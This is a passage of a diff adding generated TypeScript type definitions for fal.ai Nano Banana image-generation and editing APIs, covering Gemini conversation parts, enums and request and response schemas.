*/ + thought_signature?: string | null + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The video part discriminator. + * @type string + */ + type: 'video' + /** + * @description Video URL or data URI (up to 15 MB and 120 seconds), or a YouTube URL. Supported by Flash Image only. + * @type string + */ + video_url: string +} + +export type GeminiSignaturePart88263Aef = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The signature part discriminator. + * @type string + */ + type: 'signature' + /** + * @description Provider-issued signature-only part, replayed unchanged. + * @minLength 1 + * @type string + */ + thought_signature: string +} + +export type GeminiAudioPartBa86Fec3 = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Original audio URL or data URI from a previous Flash Image request (up to 15 MB). + * @type string + */ + audio_url: string + /** + * @description The audio part discriminator. + * @type string + */ + type: 'audio' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export const geminiVideoMessage61Ee4284RoleEnum = { + user: 'user', + model: 'model', +} as const + +export type GeminiVideoMessage61Ee4284RoleEnumKey = + (typeof geminiVideoMessage61Ee4284RoleEnum)[keyof typeof geminiVideoMessage61Ee4284RoleEnum] + +export type GeminiVideoMessage61Ee4284 = { + /** + * @description Native Gemini conversation role. + * @type string + */ + role: GeminiVideoMessage61Ee4284RoleEnumKey + /** + * @description Ordered text, image, document, video, audio, and signature parts. + * @type array + */ + parts: ( + | (GeminiTextPart79310B94 & { + type: 'text' + }) + | (GeminiImagePart37A0517E & { + type: 'image' + }) + | (GeminiDocumentPart44B7Ec0E & { + type: 'document' + }) + | (GeminiVideoPart3E0B4C74 & { + type: 'video' + }) + | (GeminiSignaturePart88263Aef & { + type: 'signature' + }) + | (GeminiAudioPartBa86Fec3 & { + type: 'audio' + }) + )[] +} + +export const inputFalAiNanoBanana2EditThinkingLevel = { + minimal: 'minimal', + high: 'high', +} as const + +export type InputFalAiNanoBanana2EditThinkingLevelKey = + (typeof inputFalAiNanoBanana2EditThinkingLevel)[keyof typeof inputFalAiNanoBanana2EditThinkingLevel] + +export const inputFalAiNanoBanana2EditSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiNanoBanana2EditSafetyToleranceEnumKey = + (typeof inputFalAiNanoBanana2EditSafetyToleranceEnum)[keyof typeof inputFalAiNanoBanana2EditSafetyToleranceEnum] + +export const inputFalAiNanoBanana2EditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiNanoBanana2EditOutputFormatEnumKey = + (typeof inputFalAiNanoBanana2EditOutputFormatEnum)[keyof typeof inputFalAiNanoBanana2EditOutputFormatEnum] + +export const inputFalAiNanoBanana2EditAspectRatio = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', + '4:1': '4:1', + '1:4': '1:4', + '8:1': '8:1', + '1:8': '1:8', +} as const + +export type InputFalAiNanoBanana2EditAspectRatioKey = + (typeof inputFalAiNanoBanana2EditAspectRatio)[keyof typeof inputFalAiNanoBanana2EditAspectRatio] + +export const inputFalAiNanoBanana2EditResolutionEnum = { + '0.5K': '0.5K', + '1K': '1K', + '2K': '2K', + '4K': '4K', +} as const + +export type InputFalAiNanoBanana2EditResolutionEnumKey = + (typeof inputFalAiNanoBanana2EditResolutionEnum)[keyof typeof inputFalAiNanoBanana2EditResolutionEnum] + +export type InputFalAiNanoBanana2Edit = { + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Enable web search for the image generation task. This will allow the model to use the latest information from the web to generate the image. + * @default false + * @type boolean | undefined + */ + enable_web_search?: boolean + /** + * @description Whether to include thought summaries. Omit to preserve the existing behavior: an explicit thinking_level requests summaries. Set limit_generations=false to return summary text in description. This does not disable thinking or return intermediate thought images. + */ + include_thoughts?: boolean | null + /** + * @description Optional PDF document to use as input context. Accepts an http(s)/data URL (downloaded and sent inline, max 15MB). + */ + pdf_url?: string | null + /** + * @description Sampling temperature. Omit to use the provider default of 1. Explicit values use a direct Google or Vertex API. + */ + temperature?: number | null + /** + * @description Optional audio file to use as input context. Accepts an http(s)/data URL (downloaded and sent inline, max 15MB). + */ + audio_url?: string | null + /** + * @description Optional video to use as input context. Accepts an http(s)/data URL to a video file (downloaded and sent inline, max 15MB) or a YouTube URL (passed through to the model without downloading). + */ + video_url?: string | null + /** + * @description Maximum output tokens for the generation. Omit to retain the provider default. Explicit values use a direct Google or Vertex API. + */ + max_output_tokens?: number | null + /** + * @description Previous native Gemini turns, including original parts and thought signatures from conversations. The current prompt starts a new user turn. + * @type array | undefined + */ + history?: GeminiVideoMessage61Ee4284[] + /** + * @description Controls thinking effort ('minimal' or 'high') and requests thought summaries. Omit to use the provider default ('minimal'); thinking cannot be disabled. + */ + thinking_level?: InputFalAiNanoBanana2EditThinkingLevelKey | null + /** + * @description Ground image generation with Google Image Search. Can be combined with enable_web_search; source attribution is returned in grounding_metadata. Uses direct Google or Vertex APIs. + * @default false + * @type boolean | undefined + */ + enable_image_search?: boolean + /** + * @description Optional system instruction that steers the model's persona and output style across the request. Leave blank to omit; when provided, it is sent as the system instruction to Gemini (or as a system message on OpenAI-compatible providers). + * @maxLength 50000 + * @default '' + * @type string | undefined + */ + system_prompt?: string + /** + * @description Ordered text, image, PDF, UTF-8 text-file or video parts appended to the current prompt. Original media bytes are preserved; images count toward the total 14-reference limit. + * @type array | undefined + */ + context?: ( + | (GeminiTextPart79310B94 & { + type: 'text' + }) + | (GeminiImagePart37A0517E & { + type: 'image' + }) + | (GeminiDocumentPart44B7Ec0E & { + type: 'document' + }) + | (GeminiVideoPart3E0B4C74 & { + type: 'video' + }) + | (GeminiSignaturePart88263Aef & { + type: 'signature' + }) + )[] + /** + * @description The URLs of the images to use for image-to-image generation or image editing. Optional when at least one of `video_url`, `audio_url`, or `pdf_url` is provided. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input.png","https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input-2.png"] + * @type array | undefined + */ + image_urls?: string[] + /** + * @description The prompt for image editing. + * @minLength 3 + * @maxLength 50000 + * @example make a photo of the man driving the car down the california coastline + * @type string + */ + prompt: string + /** + * @description Nucleus sampling probability. Omit to use the provider default of 0.95. Explicit values use a direct Google or Vertex API. + */ + top_p?: number | null + /** + * @description Return reusable native conversations with original image parts and provider thought signatures. Uses a native provider. Each generated conversation is independent; send its messages as history for the next turn. + * @default false + * @type boolean | undefined + */ + return_history?: boolean + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputFalAiNanoBanana2EditSafetyToleranceEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiNanoBanana2EditOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate and ignore any intermediate images generated by the model. This may affect generation quality. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description The aspect ratio of the generated image. Supports extreme ratios: 4:1, 1:4, 8:1, 1:8. + * @default auto + */ + aspect_ratio?: InputFalAiNanoBanana2EditAspectRatioKey | null + /** + * @description The resolution of the image to generate. + * @default '1K' + * @type string | undefined + */ + resolution?: InputFalAiNanoBanana2EditResolutionEnumKey +} + +export type ImageFile67C3F6Ec = { + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type GeminiTextPartAee4318C = { + /** + * @description Text at this position in the conversation. + * @type string + */ + text: string + /** + * @description The text part discriminator. + * @type string + */ + type: 'text' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export type GeminiImagePart12Bafc9A = { + /** + * @description Original image URL or data URI. Replayed without resizing or re-encoding. + * @type string + */ + image_url: string + /** + * @description The image part discriminator. + * @type string + */ + type: 'image' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export const geminiDocumentPartCdbdef8AMimeTypeEnum = { + 'application/pdf': 'application/pdf', + 'text/plain': 'text/plain', +} as const + +export type GeminiDocumentPartCdbdef8AMimeTypeEnumKey = + (typeof geminiDocumentPartCdbdef8AMimeTypeEnum)[keyof typeof geminiDocumentPartCdbdef8AMimeTypeEnum] + +export type GeminiDocumentPartCdbdef8A = { + /** + * @description The document part discriminator. + * @type string + */ + type: 'document' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description PDF or UTF-8 plain-text document URL or data URI (up to 15 MB). + * @type string + */ + file_url: string + /** + * @description The document's media type. + * @type string + */ + mime_type: GeminiDocumentPartCdbdef8AMimeTypeEnumKey + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export type GeminiVideoPart40203Aac = { + /** + * @description The video part discriminator. + * @type string + */ + type: 'video' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description Video URL or data URI (up to 15 MB and 120 seconds), or a YouTube URL. Supported by Flash Image only. + * @type string + */ + video_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export type GeminiSignaturePartF7D81505 = { + /** + * @description The signature part discriminator. + * @type string + */ + type: 'signature' + /** + * @description Provider-issued signature-only part, replayed unchanged. + * @minLength 1 + * @type string + */ + thought_signature: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export type GeminiAudioPart4D13Bfa1 = { + /** + * @description The audio part discriminator. + * @type string + */ + type: 'audio' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description Original audio URL or data URI from a previous Flash Image request (up to 15 MB). + * @type string + */ + audio_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export const geminiVideoMessageC4Ebe01CRoleEnum = { + user: 'user', + model: 'model', +} as const + +export type GeminiVideoMessageC4Ebe01CRoleEnumKey = + (typeof geminiVideoMessageC4Ebe01CRoleEnum)[keyof typeof geminiVideoMessageC4Ebe01CRoleEnum] + +export type GeminiVideoMessageC4Ebe01C = { + /** + * @description Native Gemini conversation role. + * @type string + */ + role: GeminiVideoMessageC4Ebe01CRoleEnumKey + /** + * @description Ordered text, image, document, video, audio, and signature parts. + * @type array + */ + parts: ( + | (GeminiTextPartAee4318C & { + type: 'text' + }) + | (GeminiImagePart12Bafc9A & { + type: 'image' + }) + | (GeminiDocumentPartCdbdef8A & { + type: 'document' + }) + | (GeminiVideoPart40203Aac & { + type: 'video' + }) + | (GeminiSignaturePartF7D81505 & { + type: 'signature' + }) + | (GeminiAudioPart4D13Bfa1 & { + type: 'audio' + }) + )[] +} + +export type GeminiConversationD0E94E69 = { + /** + * @description One complete provider conversation. Pass messages as history in the next request, retaining every signature and part. + * @type array + */ + messages: GeminiVideoMessageC4Ebe01C[] +} + +export type OutputFalAiNanoBanana2Edit = { + /** + * @description Provider grounding metadata for the generated images, including search queries, source pages and image-source attribution when available. + * @type array | undefined + */ + grounding_metadata?: object[] + /** + * @description The edited images. + * @example [{"file_name":"nano-banana-2-edit-output.png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-2-edit-output.png","content_type":"image/png"}] + * @type array + */ + images: ImageFile67C3F6Ec[] + /** + * @description Reusable per-generation conversations, populated only when return_history is true. Retain every part and thought signature when continuing a conversation. + * @type array | undefined + */ + conversations?: GeminiConversationD0E94E69[] + /** + * @description The description of the generated images. + * @type string + */ + description: string +} + +export type GeminiTextPartC7D3Ef77 = { + /** + * @description Text at this position in the conversation. + * @type string + */ + text: string + /** + * @description The text part discriminator. + * @type string + */ + type: 'text' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiImagePartCc325Eb1 = { + /** + * @description Original image URL or data URI. Replayed without resizing or re-encoding. + * @type string + */ + image_url: string + /** + * @description The image part discriminator. + * @type string + */ + type: 'image' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export const geminiDocumentPart05Cd40C1MimeTypeEnum = { + 'application/pdf': 'application/pdf', + 'text/plain': 'text/plain', +} as const + +export type GeminiDocumentPart05Cd40C1MimeTypeEnumKey = + (typeof geminiDocumentPart05Cd40C1MimeTypeEnum)[keyof typeof geminiDocumentPart05Cd40C1MimeTypeEnum] + +export type GeminiDocumentPart05Cd40C1 = { + /** + * @description PDF or UTF-8 plain-text document URL or data URI (up to 15 MB). + * @type string + */ + file_url: string + /** + * @description The document's media type. + * @type string + */ + mime_type: GeminiDocumentPart05Cd40C1MimeTypeEnumKey + /** + * @description The document part discriminator. + * @type string + */ + type: 'document' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiSignaturePartC0D526F4 = { + /** + * @description The signature part discriminator. + * @type string + */ + type: 'signature' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Provider-issued signature-only part, replayed unchanged. + * @minLength 1 + * @type string + */ + thought_signature: string +} + +export const geminiMessage65233Fe8RoleEnum = { + user: 'user', + model: 'model', +} as const + +export type GeminiMessage65233Fe8RoleEnumKey = + (typeof geminiMessage65233Fe8RoleEnum)[keyof typeof geminiMessage65233Fe8RoleEnum] + +export type GeminiMessage65233Fe8 = { + /** + * @description Native Gemini conversation role. + * @type string + */ + role: GeminiMessage65233Fe8RoleEnumKey + /** + * @description Ordered text, image, document, and signature parts. + * @type array + */ + parts: ( + | (GeminiTextPartC7D3Ef77 & { + type: 'text' + }) + | (GeminiImagePartCc325Eb1 & { + type: 'image' + }) + | (GeminiDocumentPart05Cd40C1 & { + type: 'document' + }) + | (GeminiSignaturePartC0D526F4 & { + type: 'signature' + }) + )[] +} + +export const inputFalAiNanoBananaProResolutionEnum = { + '1K': '1K', + '2K': '2K', + '4K': '4K', +} as const + +export type InputFalAiNanoBananaProResolutionEnumKey = + (typeof inputFalAiNanoBananaProResolutionEnum)[keyof typeof inputFalAiNanoBananaProResolutionEnum] + +export const inputFalAiNanoBananaProOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiNanoBananaProOutputFormatEnumKey = + (typeof inputFalAiNanoBananaProOutputFormatEnum)[keyof typeof inputFalAiNanoBananaProOutputFormatEnum] + +export const inputFalAiNanoBananaProAspectRatio = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', + '4:1': '4:1', + '1:4': '1:4', + '8:1': '8:1', + '1:8': '1:8', +} as const + +export type InputFalAiNanoBananaProAspectRatioKey = + (typeof inputFalAiNanoBananaProAspectRatio)[keyof typeof inputFalAiNanoBananaProAspectRatio] + +export const inputFalAiNanoBananaProSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiNanoBananaProSafetyToleranceEnumKey = + (typeof inputFalAiNanoBananaProSafetyToleranceEnum)[keyof typeof inputFalAiNanoBananaProSafetyToleranceEnum] + +export type InputFalAiNanoBananaPro = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Whether to include thought summaries. Omit to preserve the existing behavior: an explicit thinking_level requests summaries. Set limit_generations=false to return summary text in description. This does not disable thinking or return intermediate thought images. + */ + include_thoughts?: boolean | null + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Nucleus sampling probability. Omit to use the provider default of 0.95. Explicit values use a direct Google or Vertex API. + */ + top_p?: number | null + /** + * @description The resolution of the image to generate. + * @default '1K' + * @type string | undefined + */ + resolution?: InputFalAiNanoBananaProResolutionEnumKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiNanoBananaProOutputFormatEnumKey + /** + * @description The aspect ratio of the generated image. + * @default 1:1 + */ + aspect_ratio?: InputFalAiNanoBananaProAspectRatioKey | null + /** + * @description Maximum output tokens for the generation. Omit to retain the provider default. Explicit values use a direct Google or Vertex API. + */ + max_output_tokens?: number | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Ordered text, original images, PDF or UTF-8 text documents appended to the current prompt. Uses a native provider. Images count toward the total 14-reference limit. + * @type array | undefined + */ + context?: ( + | (GeminiTextPartC7D3Ef77 & { + type: 'text' + }) + | (GeminiImagePartCc325Eb1 & { + type: 'image' + }) + | (GeminiDocumentPart05Cd40C1 & { + type: 'document' + }) + | (GeminiSignaturePartC0D526F4 & { + type: 'signature' + }) + )[] + /** + * @description Previous native user/model turns. Replay a returned conversation's messages unchanged, including thought signatures; the current prompt is appended as a new user turn. + * @type array | undefined + */ + history?: GeminiMessage65233Fe8[] + /** + * @description Optional system instruction that steers the model's persona and output style across the request. Leave blank to omit; when provided, it is sent as the system instruction to Gemini (or as a system message on OpenAI-compatible providers). + * @maxLength 50000 + * @default '' + * @type string | undefined + */ + system_prompt?: string + /** + * @description Sampling temperature. Omit to use the provider default of 1. Explicit values use a direct Google or Vertex API. + */ + temperature?: number | null + /** + * @description Return reusable native conversations with original image parts and provider thought signatures. Uses a native provider. Each generated conversation is independent; send its messages as history for the next turn. + * @default false + * @type boolean | undefined + */ + return_history?: boolean + /** + * @description The text prompt to generate an image from. + * @minLength 3 + * @maxLength 50000 + * @example An action shot of a black lab swimming in an inground suburban swimming pool. The camera is placed meticulously on the water line, dividing the image in half, revealing both the dogs head above water holding a tennis ball in it's mouth, and it's paws paddling underwater. + * @type string + */ + prompt: string + /** + * @description Thinking effort. Pro Image supports only high; omit to retain its provider default. An explicit level requests summaries unless include_thoughts overrides it. Thinking cannot be disabled. + */ + thinking_level?: 'high' | null + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputFalAiNanoBananaProSafetyToleranceEnumKey + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description Enable web search for the image generation task. This will allow the model to use the latest information from the web to generate the image. + * @default false + * @type boolean | undefined + */ + enable_web_search?: boolean +} + +export type GeminiTextPart435A7510 = { + /** + * @description Text at this position in the conversation. + * @type string + */ + text: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The text part discriminator. + * @type string + */ + type: 'text' +} + +export type GeminiImagePart62729E02 = { + /** + * @description Original image URL or data URI. Replayed without resizing or re-encoding. + * @type string + */ + image_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The image part discriminator. + * @type string + */ + type: 'image' +} + +export const geminiDocumentPart349Df7B2MimeTypeEnum = { + 'application/pdf': 'application/pdf', + 'text/plain': 'text/plain', +} as const + +export type GeminiDocumentPart349Df7B2MimeTypeEnumKey = + (typeof geminiDocumentPart349Df7B2MimeTypeEnum)[keyof typeof geminiDocumentPart349Df7B2MimeTypeEnum] + +export type GeminiDocumentPart349Df7B2 = { + /** + * @description The document part discriminator. + * @type string + */ + type: 'document' + /** + * @description PDF or UTF-8 plain-text document URL or data URI (up to 15 MB). + * @type string + */ + file_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The document's media type. + * @type string + */ + mime_type: GeminiDocumentPart349Df7B2MimeTypeEnumKey +} + +export type GeminiVideoPart35441470 = { + /** + * @description Video URL or data URI (up to 15 MB and 120 seconds), or a YouTube URL. Supported by Flash Image only. + * @type string + */ + video_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The video part discriminator. + * @type string + */ + type: 'video' +} + +export type GeminiSignaturePartF132F99F = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Provider-issued signature-only part, replayed unchanged. + * @minLength 1 + * @type string + */ + thought_signature: string + /** + * @description The signature part discriminator. + * @type string + */ + type: 'signature' +} + +export type GeminiAudioPart3C382C1B = { + /** + * @description Original audio URL or data URI from a previous Flash Image request (up to 15 MB). + * @type string + */ + audio_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The audio part discriminator. + * @type string + */ + type: 'audio' +} + +export const geminiVideoMessageC58087E0RoleEnum = { + user: 'user', + model: 'model', +} as const + +export type GeminiVideoMessageC58087E0RoleEnumKey = + (typeof geminiVideoMessageC58087E0RoleEnum)[keyof typeof geminiVideoMessageC58087E0RoleEnum] + +export type GeminiVideoMessageC58087E0 = { + /** + * @description Ordered text, image, document, video, audio, and signature parts. + * @type array + */ + parts: ( + | (GeminiTextPart435A7510 & { + type: 'text' + }) + | (GeminiImagePart62729E02 & { + type: 'image' + }) + | (GeminiDocumentPart349Df7B2 & { + type: 'document' + }) + | (GeminiVideoPart35441470 & { + type: 'video' + }) + | (GeminiSignaturePartF132F99F & { + type: 'signature' + }) + | (GeminiAudioPart3C382C1B & { + type: 'audio' + }) + )[] + /** + * @description Native Gemini conversation role. + * @type string + */ + role: GeminiVideoMessageC58087E0RoleEnumKey +} + +export type GeminiConversation227E2263 = { + /** + * @description One complete provider conversation. Pass messages as history in the next request, retaining every signature and part. + * @type array + */ + messages: GeminiVideoMessageC58087E0[] +} + +export type ImageFileD322Fd30 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiNanoBananaPro = { + /** + * @description Reusable per-generation conversations, populated only when return_history is true. Retain every part and thought signature when continuing a conversation. + * @type array | undefined + */ + conversations?: GeminiConversation227E2263[] + /** + * @description The generated images. + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-pro-t2i-output.png","file_name":"nano-banana-pro-t2i-output.png","content_type":"image/png"}] + * @type array + */ + images: ImageFileD322Fd30[] + /** + * @description The description of the generated images. + * @type string + */ + description: string + /** + * @description Provider grounding metadata for the generated images, including search queries, source pages and image-source attribution when available. + * @type array | undefined + */ + grounding_metadata?: object[] +} + +export type GeminiTextPart8D9C2C32 = { + /** + * @description Text at this position in the conversation. + * @type string + */ + text: string + /** + * @description The text part discriminator. + * @type string + */ + type: 'text' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiImagePartD3D9Ce54 = { + /** + * @description Original image URL or data URI. Replayed without resizing or re-encoding. + * @type string + */ + image_url: string + /** + * @description The image part discriminator. + * @type string + */ + type: 'image' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export const geminiDocumentPart4Ac48104MimeTypeEnum = { + 'application/pdf': 'application/pdf', + 'text/plain': 'text/plain', +} as const + +export type GeminiDocumentPart4Ac48104MimeTypeEnumKey = + (typeof geminiDocumentPart4Ac48104MimeTypeEnum)[keyof typeof geminiDocumentPart4Ac48104MimeTypeEnum] + +export type GeminiDocumentPart4Ac48104 = { + /** + * @description PDF or UTF-8 plain-text document URL or data URI (up to 15 MB). + * @type string + */ + file_url: string + /** + * @description The document's media type. + * @type string + */ + mime_type: GeminiDocumentPart4Ac48104MimeTypeEnumKey + /** + * @description The document part discriminator. + * @type string + */ + type: 'document' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiSignaturePart39F8B9Cb = { + /** + * @description The signature part discriminator. + * @type string + */ + type: 'signature' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Provider-issued signature-only part, replayed unchanged. + * @minLength 1 + * @type string + */ + thought_signature: string +} + +export const geminiMessage5905Bcd7RoleEnum = { + user: 'user', + model: 'model', +} as const + +export type GeminiMessage5905Bcd7RoleEnumKey = + (typeof geminiMessage5905Bcd7RoleEnum)[keyof typeof geminiMessage5905Bcd7RoleEnum] + +export type GeminiMessage5905Bcd7 = { + /** + * @description Native Gemini conversation role. + * @type string + */ + role: GeminiMessage5905Bcd7RoleEnumKey + /** + * @description Ordered text, image, document, and signature parts. + * @type array + */ + parts: ( + | (GeminiTextPart8D9C2C32 & { + type: 'text' + }) + | (GeminiImagePartD3D9Ce54 & { + type: 'image' + }) + | (GeminiDocumentPart4Ac48104 & { + type: 'document' + }) + | (GeminiSignaturePart39F8B9Cb & { + type: 'signature' + }) + )[] +} + +export const inputFalAiNanoBananaProEditResolutionEnum = { + '1K': '1K', + '2K': '2K', + '4K': '4K', +} as const + +export type InputFalAiNanoBananaProEditResolutionEnumKey = + (typeof inputFalAiNanoBananaProEditResolutionEnum)[keyof typeof inputFalAiNanoBananaProEditResolutionEnum] + +export const inputFalAiNanoBananaProEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiNanoBananaProEditOutputFormatEnumKey = + (typeof inputFalAiNanoBananaProEditOutputFormatEnum)[keyof typeof inputFalAiNanoBananaProEditOutputFormatEnum] + +export const inputFalAiNanoBananaProEditAspectRatio = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', + '4:1': '4:1', + '1:4': '1:4', + '8:1': '8:1', + '1:8': '1:8', +} as const + +export type InputFalAiNanoBananaProEditAspectRatioKey = + (typeof inputFalAiNanoBananaProEditAspectRatio)[keyof typeof inputFalAiNanoBananaProEditAspectRatio] + +export const inputFalAiNanoBananaProEditSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiNanoBananaProEditSafetyToleranceEnumKey = + (typeof inputFalAiNanoBananaProEditSafetyToleranceEnum)[keyof typeof inputFalAiNanoBananaProEditSafetyToleranceEnum] + +export type InputFalAiNanoBananaProEdit = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Whether to include thought summaries. Omit to preserve the existing behavior: an explicit thinking_level requests summaries. Set limit_generations=false to return summary text in description. This does not disable thinking or return intermediate thought images. + */ + include_thoughts?: boolean | null + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Nucleus sampling probability. Omit to use the provider default of 0.95. Explicit values use a direct Google or Vertex API. + */ + top_p?: number | null + /** + * @description The resolution of the image to generate. + * @default '1K' + * @type string | undefined + */ + resolution?: InputFalAiNanoBananaProEditResolutionEnumKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiNanoBananaProEditOutputFormatEnumKey + /** + * @description The aspect ratio of the generated image, including 1:4, 4:1, 1:8 and 8:1. + * @default auto + */ + aspect_ratio?: InputFalAiNanoBananaProEditAspectRatioKey | null + /** + * @description The 